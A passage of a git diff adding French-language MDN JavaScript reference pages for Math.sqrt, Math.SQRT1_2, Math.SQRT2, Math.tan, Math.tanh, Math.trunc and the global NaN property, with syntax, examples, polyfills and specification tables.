+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>≥</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>s</mi><mi>q</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mi>x</mi></msqrt><mo>=</mo><mtext>l'unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sqrt.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.sqrt(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La racine carrée du nombre passé en argument. Si le nombre fourni est négatif, c'est {{jsxref("NaN")}} qui sera renvoyé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si la valeur de <code>x</code> est négative, <code>sqrt</code> renverra {{jsxref("NaN")}}.</p>
+
+<p><code>sqrt()</code> est une méthode statique de <code>Math</code>, elle doit être utilisée avec la syntaxe <code>Math.sqrt()</code>, elle ne doit pas être appelée comme méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">Math.sqrt(9);  // 3
+Math.sqrt(2);  // 1.414213562373095
+
+Math.sqrt(1);  // 1
+Math.sqrt(0);  // 0
+Math.sqrt(-1); // NaN
+Math.sqrt(-0); // -0</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.17', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.sqrt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sqrt1_2/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sqrt1_2/index.html
new file mode 100644
index 0000000000..b845ac3389
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/sqrt1_2/index.html
@@ -0,0 +1,80 @@
+---
+title: Math.SQRT1_2
+slug: Web/JavaScript/Reference/Objets_globaux/Math/SQRT1_2
+tags:
+  - JavaScript
+  - Math
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Math.SQRT1_2</strong></code> représente la racine carrée d'1/2 et vaut environ 0.707 :</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT1_2</mi></mstyle><mo>=</mo><msqrt><mfrac><mn>1</mn><mn>2</mn></mfrac></msqrt><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo>≈</mo><mn>0.707</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sqrt1_2.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>SQRT1_2</code> est une propriété statique de <code>Math</code> et doit toujours être utilisée avec la syntaxe <code>Math.SQRT1_2</code>. Elle ne doit pas être obtenue à partir d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La fonction suivante renvoie la valeur de cette constante :</p>
+
+<pre class="brush:js">function getRoot1_2() {
+   return Math.SQRT1_2;
+}
+
+getRoot1_2(); // 0.7071067811865476</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.7', 'Math.SQRT1_2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.SQRT1_2")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sqrt2/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sqrt2/index.html
new file mode 100644
index 0000000000..7a02b16e2d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/sqrt2/index.html
@@ -0,0 +1,80 @@
+---
+title: Math.SQRT2
+slug: Web/JavaScript/Reference/Objets_globaux/Math/SQRT2
+tags:
+  - JavaScript
+  - Math
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>Math.SQRT2</strong></code> représente la racine carrée de 2 et vaut environ 1.414 :</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT2</mi></mstyle><mo>=</mo><msqrt><mn>2</mn></msqrt><mo>≈</mo><mn>1.414</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1.414</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sqrt2.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>SQRT2</code> est une propriété statique de <code>Math</code> et doit toujours être utilisée avec la syntaxe <code>Math.SQRT2</code>, elle ne doit pas être appelée comme propriété d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La fonction suivante renvoie la valeur de la racine carrée de 2 :</p>
+
+<pre class="brush:js">function getRoot2() {
+   return Math.SQRT2;
+}
+
+getRoot2(); // 1.4142135623730951</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.8', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt2', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt2', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.SQRT2")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/tan/index.html b/files/fr/web/javascript/reference/objets_globaux/math/tan/index.html
new file mode 100644
index 0000000000..948ea10a14
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/tan/index.html
@@ -0,0 +1,101 @@
+---
+title: Math.tan()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/tan
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.tan()</strong></code> renvoie la tangente d'un nombre exprimant un angle en radians.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-tan.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.tan(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre qui représente un angle en radians.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La tangente de l'angle fourni en argument (exprimé en radians).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Math.tan()</code> renvoie une valeur numérique qui représente la tangente d'un angle.</p>
+
+<p><code>tan()</code> est une méthode statique de <code>Math</code> et doit toujours être utilisée avec la syntaxe <code>Math.tan()</code>, elle ne doit pas être utilisée comme méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.tan()">Utiliser <code>Math.tan()</code></h3>
+
+<pre class="brush:js">Math.tan(1); // 1.5574077246549023</pre>
+
+<p><code>Math.tan()</code> considère un argument exprimé en radians. Cependant, on peut vouloir travailler avec des valeurs en degrés. Pour cela, on pourra utiliser la fonction suivante qui calcule la tangente après avoir converti l'argument en radians :</p>
+
+<pre class="brush:js">function getTanDeg(deg) {
+   var rad = deg * Math.PI/180;
+   return Math.tan(rad);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.18', 'Math.tan')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.tan', 'Math.tan')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.tan', 'Math.tan')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.tan")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/tanh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/tanh/index.html
new file mode 100644
index 0000000000..0567a5430c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/tanh/index.html
@@ -0,0 +1,106 @@
+---
+title: Math.tanh()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/tanh
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tanh
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.tanh()</strong></code> renvoie la tangente hyperbolique d'un nombre définie par :</p>
+
+<p><math><semantics><mrow><mo lspace="0em" rspace="0em">tanh</mo><mi>x</mi><mo>=</mo><mfrac><mrow><mo lspace="0em" rspace="0em">sinh</mo><mi>x</mi></mrow><mrow><mo lspace="0em" rspace="0em">cosh</mo><mi>x</mi></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>-</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>+</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>-</mo><mn>1</mn></mrow><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>+</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding="TeX">\tanh x = \frac{\sinh x}{\cosh x} = \frac {e^x - e^{-x}} {e^x + e^{-x}} = \frac{e^{2x} - 1}{e^{2x}+1}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-tanh.html")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.tanh(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La tangente hyperbolique du nombre fourni en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>tanh()</code> est une méthode statique de l'objet <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.tanh()</code>, elle ne doit pas être utilisée comme une méthode d'un objet <code>Math</code> qui aurait été instancié (<code>Math</code> n'est pas une constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.tanh()">Utiliser <code>Math.tanh()</code></h3>
+
+<pre class="brush:js">Math.tanh(0);        // 0
+Math.tanh(Infinity); // 1
+Math.tanh(1);        // 0.7615941559557649</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Cette méthode peut être émulée grâce à la fonction {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :</p>
+
+<pre class="brush: js">Math.tanh = Math.tanh || function(x){
+  var a = Math.exp(+x), b = Math.exp(-x);
+  return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (a + b);
+}</pre>
+
+<p>et si on souhaite n'utiliser qu'un seul appel à {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}}<code> :</code></p>
+
+<pre class="brush: js">Math.tanhx = Math.tanhx || function(x) {
+  if(x === Infinity) {
+    return 1;
+  } else if(x === -Infinity) {
+    return -1;
+  } else {
+    var y = Math.exp(2 * x);
+    return (y - 1) / (y + 1);
+  }
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.tanh', 'Math.tanh')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.tanh', 'Math.tanh')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.tanh")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/trunc/index.html b/files/fr/web/javascript/reference/objets_globaux/math/trunc/index.html
new file mode 100644
index 0000000000..beb1f33d0b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/trunc/index.html
@@ -0,0 +1,97 @@
+---
+title: Math.trunc()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/trunc
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/trunc
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.trunc()</strong></code> retourne la troncature entière d'un nombre en retirant sa partie décimale.</p>
+
+<p><math><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.trunc</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mrow><mo>{</mo><mtable columnalign="left left"><mtr><mtd><mrow><mo>⌊</mo><mi>x</mi><mo>⌋</mo></mrow></mtd><mtd><mtext>si</mtext></mtd><mtd><mi>x</mi><mo>≥</mo><mn>0</mn></mtd></mtr><mtr><mtd><mrow><mo>⌈</mo><mi>x</mi><mo>⌉</mo></mrow></mtd><mtd><mtext>si</mtext></mtd><mtd><mi>x</mi><mo>&lt;</mo><mn>0</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.trunc}(x)} = \begin{cases} \left\lfloor x \right\rfloor &amp; \text{if} &amp; x \geq 0 \\ \left\lceil x \right\rceil &amp; \text{if} &amp;x &lt; 0 \end{cases}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-trunc.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.trunc(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La partie entière du nombre passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Contrairement aux autres méthodes {{jsxref("Math.floor()")}}, {{jsxref("Math.ceil()")}} et {{jsxref("Math.round()")}}, <code>Math.trunc()</code> fonctionne de façon très simple : la partie décimale du nombre est retirée et on conserve la partie entière (que le nombre soit positif ou négatif).<br>
+ <br>
+ Ainsi, si l'argument est un nombre positif, <code>Math.trunc()</code> sera équivalent à <code>Math.floor()</code>, sinon <code>Math.trunc()</code> sera équivalent à <code>Math.ceil()</code>.</p>
+
+<p>On notera que l'argument passé à la méthode est converti en nombre de façon implicite.</p>
+
+<p><code>trunc()</code> est une méthode statique de <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.trunc()</code>, elle ne doit pas être utilisée comme la méthode d'un objet qui aurait été instancié (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.trunc()">Utiliser <code>Math.trunc()</code></h3>
+
+<pre class="brush:js">Math.trunc(13.37);   // 13
+Math.trunc(42.84);   // 42
+Math.trunc(0.123);   //  0
+Math.trunc(-0.123);  // -0
+Math.trunc("-1.123");// -1
+Math.trunc(NaN);     // NaN
+Math.trunc("toto");  // NaN
+Math.trunc();        // NaN</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.trunc', 'Math.trunc')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Première définition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.trunc', 'Math.trunc')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.trunc")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/nan/index.html b/files/fr/web/javascript/reference/objets_globaux/nan/index.html
new file mode 100644
index 0000000000..e8b97ac8ba
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/nan/index.html
@@ -0,0 +1,92 @@
+---
+title: NaN
+slug: Web/JavaScript/Reference/Objets_globaux/NaN
+tags:
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/NaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La propriété globale <code><strong>NaN</strong></code> est une valeur utilisée pour représenter une quantité qui n'est pas un nombre (<em><strong>N</strong>ot <strong>a</strong> <strong>N</strong>umber</em> en anglais).</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-nan.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">NaN</pre>
+
+<h2 id="Description">Description</h2>
+
+<p><code>NaN</code> est une propriété de <em>l'objet global</em>, c'est-à-dire qu'elle est accessible globalement.</p>
+
+<p>La valeur initiale de <code>NaN</code> est <code>Number.NaN</code>. Dans les navigateurs modernes, <code>NaN</code> est une propriété non-configurable et non-écrivable. Si ce n'est pas le cas, il faut éviter de la modifier et de l'écraser.</p>
+
+<p>Il est rare d'utiliser expressément <code>NaN</code> dans un programme. On récupère généralement <code>NaN</code> comme le résultat d'une fonction mathématique qui échoue (<code>Math.sqrt(-1)</code>) où quand une fonction qui tente d'interpréter un nombre échoue (<code>parseInt("blabla")</code>).</p>
+
+<h3 id="Tester_NaN">Tester <code>NaN</code></h3>
+
+<p>Les <a href="/fr/docs/Web/JavaScript/Les_diff%C3%A9rents_tests_d_%C3%A9galit%C3%A9_comment_les_utiliser">opérateurs d'égalité</a> (<code>==</code> et <code>===</code>) ne peuvent pas être utilisé pour tester une valeur par rapport à <code>NaN</code>. Il faut utiliser {{jsxref("Number.isNaN()")}} ou {{jsxref("isNaN", "isNaN()")}} à la place.</p>
+
+<pre class="brush: js">NaN === NaN;        // false
+Number.NaN === NaN; // false
+isNaN(NaN);         // true
+isNaN(Number.NaN);  // true
+</pre>
+
+<p>La différence entre <code>isNaN()</code> et <code>Number.isNaN()</code> est la façon dont les valeurs sont, ou non, converties en nombre avant de vérifier si la valeur est <code>NaN</code> : <code>isNaN()</code> convertira l'argument en nombre avant de vérifier alors que <code>Number.isNaN()</code> ne renverra <code>true</code> que si l'opérande vaut <code>NaN</code>.</p>
+
+<pre class="brush: js">isNaN('coucou monde');        // renvoie true
+Number.isNaN('coucou monde'); // renvoie false</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.1', 'NaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
